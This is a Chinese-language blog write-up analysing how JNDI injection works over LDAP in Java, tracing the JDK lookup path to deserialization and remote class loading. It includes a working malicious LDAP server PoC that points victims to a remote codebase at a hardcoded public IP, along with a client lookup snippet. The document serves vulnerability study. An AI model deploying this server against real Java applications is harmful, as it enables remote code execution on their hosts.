JNDI 之 LDAP 过程原理
目录
JNDI 之 LDAP 过程原理
前言:在 Java JNDI 注入中只分析了 RMI 协议的 jndi 注入,下面简单分析以下 ldap 协议的过程。
poc
package org.example;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
public class LDAP_Server {
private static final String LDAP_BASE = "dc=gaoren,dc=com";
public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://47.109.156.81:6666/#LDAP_POC"};
int port = 9999;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));
config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}
客户端
import javax.naming.InitialContext;
public class testjndi {
public static void main(String[]args) throws Exception{
String string = "ldap://localhost:9999/LDAP_POC";
InitialContext initialContext = new InitialContext();
initialContext.lookup(string);
}
}
过程分析
反序列化
经过简单的调用同样直接来到 getURLObject
方法寻找协议对应工厂,
然后来到 ldapURLContextFactory.getObjectInstance
方法,
就是实列化一个 ldapURLContext 对象,一直返回,看到会调用到 ldapURLContext.lookup
方法
继续调用其父类的 lookup 方法,同样是 GenericURLContext.lookup
方法
然后这里是调用 LdapCtx.lookup 方法
继续调用其 p_lookup
方法,
接着又是 c_lookup 方法
同样调用了 decodeObject
方法,只 rmi 中是调用到了 RegistryContext.decodeObject
,这里是 Obj.decodeObject
有deserializeObject 函数,在调用前有个 if (!VersionHelper.isSerialDataAllowed())
条件,不过这里是满足的,继续跟进
最后进行了反序列化,
加载远程类
接着 c_lookup 方法看,除了调用 decodeObject,在下面还调用了 DirectoryManager.getObjectInstance()
方法
跟进 getObjectFactoryFromReference 方法
看到同样进行了远程类加载,然后实列化,
不过由于我这里是 jdk17 版本,trustURLClassbase 为 false,所以没有成功加载
低版本最后就就能进行远程加载。